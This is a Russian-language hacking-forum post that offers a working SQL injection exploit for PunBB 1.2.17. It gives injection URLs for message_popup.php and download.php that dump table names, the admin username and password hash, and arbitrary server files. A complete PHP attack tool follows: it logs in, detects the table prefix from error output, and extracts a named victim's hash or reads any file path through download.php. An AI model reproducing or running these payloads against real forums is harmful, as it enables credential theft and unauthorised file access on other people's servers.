Показать сообщение отдельно

PunBB 1.2.17 Sql injection & File reader
  #6  
Старый 23.07.2008, 19:42
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
С нами: 10262314

Репутация: 668


По умолчанию PunBB 1.2.17 Sql injection & File reader

Код:
v1.2.17 punbb.ru rev87 
/message_popup.php
message_popup.php?id=0+UNION+SELECT+user_id,concat_ws(0x3a,table_name),2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+номер таблицы,1
узнаем префикс по таблицам.
-----------------------------------SQL<
/message_popup.php?id=0+union+select+user_id,username,3,password+from+[PREFIX]users+where+id=2
Узнаем имя и хеш админа.
-----------------------------------SQL<
download.php
/download.php?aid=9+union+select+1,file,3,user_id,null,1
просматриваем файлы на хосте
-----------------------------------SQL<
user_id - Ваш id на форуме через который вы зашли

By @Fatal@ aka Doom123

PHP код:
<?php

/**
 * @author @Fatal@
 * @copyright HWT©2008
 * 
 *   PunBB expl0it
 * 
 * Уязвимость существует по причине недостатачной обработки
 * входящх данных в файле download.php!
 * 
 * Овтор не несёт ответствености за использоваение данного скрипта!
 * Используйте его на свой страх и риск!  
 * 
 *  Уязвимость нашёл @Fatal@.
 */
 
if (isset($_POST['start']))
{
  if (!empty(
$_POST['login']) && !empty($_POST['pass']) && !empty($_POST['host']) && !empty($_POST['id']) && !empty($_POST['path']))
    {
      
define("_HOST", $_POST['host']);
        
define("_PORT", 80);

        function 
cookie($ans)
        {
            
$head = 'Cookie:';
            foreach (
$ans as $val)
            {

                if (
preg_match('#Set-Cookie:(.+)#is', $val, $pock))
                {
                    
$co = explode(';', $pock['1']);
                    
$head .= ' ' . trim($co[0]) . ';';
                }
            }
            return 
$head . " \r\n";
        }

        function 
Prepare_POST_array($arr)
        {
            
$out = '';
            foreach (
$arr as $key => $line)
            {
                if (
$out == '')
                    
$out .= $key . '=' . urlencode($line);
                else
                    
$out .= '&' . $key . '=' . urlencode($line);
            }

            return 
$out . "\r\n\r\n";
        }

        function 
post_query($path, $param, $cook = '', $AnswerFlag = true)
        {
            
$out = "POST " . $path . " HTTP/1.1\r\n";
            
            if (
$param == array())
            {
                
$out = "GET " . $path . " HTTP/1.1\r\n";
                
$data = "";
            } else
                
$data = Prepare_POST_array($param);
                
            
$fp = fsockopen(_HOST, _PORT, $errno, $errstr, 30);
            if (!
$fp) return false;
            
            
            
$out .= "Host: " . _HOST . "\r\n";
            
$out .= "Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
            
$out .= "Content-Length: " . strlen($data) . "\r\n";
            
$out .= "User-Agent: Opera/9.27 (Windows NT 5.1; U; ru)\r\n";
            
$out .= $cook;
            
$out .= "Connection: Close\r\n\r\n";
            
$out .= $data;

            
fwrite($fp, $out);
            if (
$AnswerFlag)
            {
                while (!
feof($fp))
                {
                    
$answer[] = fgets($fp, 1024);
                }
            } else
                
$answer = true;
                
                
            
fclose($fp);
            return 
$answer;
        }
            
$array = array(
      
'form_sent' => '1', 
      
'redirect_url' => 'index.php', 
      
'req_username' => $_POST['login'], 
      
'req_password' => $_POST['pass'], 
      );
      
        
$ans = post_query($_POST['path'].'login.php?action=in', $array);
        
$a = cookie($ans);

  if(
$_POST['method'] != 2)
  {
      if (!empty(
$_POST['nid']))
      {
        if(empty(
$a))
          
$error = 'Не верно введены логин или пароль';
        
        else {
        
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+users+WHERE+id+like+'.$_POST['nid'];
        
        
$ans2 = post_query($page, array(), $a);
        
$str = implode('',$ans2);
        
        if(
strrpos($str, "doesn't exist (Errno: 1146)") !== false)
        {
      
preg_match("# Table '(.+?)\.users' doesn't exist \(Errno: 1146\)#is",$str,$pock);
      
$hex = '0x'.bin2hex($pock[1]);
      
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,table_name,3,'.$_POST['id'].',null,6+FROM+information_schema.columns+WHERE+table_schema+like+'.$hex;
          
$ans3 = post_query($page, array(), $a);
          
$str = implode('',$ans3);
          
preg_match('#PunBB reported</strong>: (.+?)attachments - this file does not exist#is',$str,$pock);
          
$pref = isset($pock[1]) ? $pock[1] : $_POST['prefix'];
      
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,password,3,'.$_POST['id'].',null,6+FROM+'.$pref.'users+WHERE+id+like+'.$_POST['nid'];  
      
$ans2 = post_query($page, array(), $a);
      
$str = implode('',$ans2);
    }
    
preg_match('#PunBB reported</strong>: (.{0,40}) - this file does not exist#is',$str,$pock);
        echo 
"<center><b><h1>Хеш пользователя:".$pock[1]."</h1></b></center>";
        }
      } else
          
$error = "Введите все данные";
    } else {
      if (!empty(
$_POST['file']))
      {
        if(empty(
$a))
          
$error = 'Не верно введены логин или пароль';
        
        else {
        
$page = $_POST['path'].'download.php?aid=9999+UNION+SELECT+1,"'.$_POST['file'].'",3,'.$_POST['id'].',null,6';
        
$ans2 = post_query($page, array(), $a);
    
$i = 11;
    while(
array_key_exists($i,$ans2))
    {
      echo 
htmlspecialchars($ans2[$i]).'<br>';
      
$i++;
    }
        }
    } else
      
$error = "ВВедите все данные";
    
  }
    } else
    
$error = "ВВедите все данные";
}

if(isset(
$error) || !isset($_POST['start']))
{
  echo 
'<center>'.$error."<BR><BR><b>PunBB Expl0it</b><br><br>";
  echo 
'<form method="post">';
  echo 
'Хост: <input type="text" name="host"><br>';
  echo 
'Путь: <input type="text" name="path"><br>';
  echo 
'Префикс: <input type="text" name="prefix"><br>';
  echo 
'Логин: <input type="text" name="login"><br>';
  echo 
'Пароль: <input type="text" name="pass"><br>';
  echo 
'В.id: <input type="text" name="id"><br>';
  echo 
'Н.id: <input type="text" name="nid"><br>';
  echo 
'Файл: <input type="text" name="file"><br>';
  echo 
'Метод: <select name=method><option value=1>Извлечь хэш</option>';
  echo 
'<option value=2>Просмотреть файл</option></select><br>';
  echo 
'<input type="submit" name="start"></form>';
  echo 
'<br><br>В.id - id вашего пользоваетля';
  echo 
'<br>Н.id - id жертвы(Нжно заполнять при первом методе)';
  echo 
'<br>Файл - Путь до файла (При втором методе)';
  echo 
'<br>Путь - Папка форума например /path/  (Если форум не находатся в папке вводим /)';
  echo 
'<br>Префикс - Обычно определяется сам но если не хватает доступа подставляется ваш';
  echo 
'<br><BR><BR>C0ded by @Fatal@ For HW Team</center>';
}
?>

Последний раз редактировалось Doom123; 30.07.2008 в 12:36..
 
Ответить с цитированием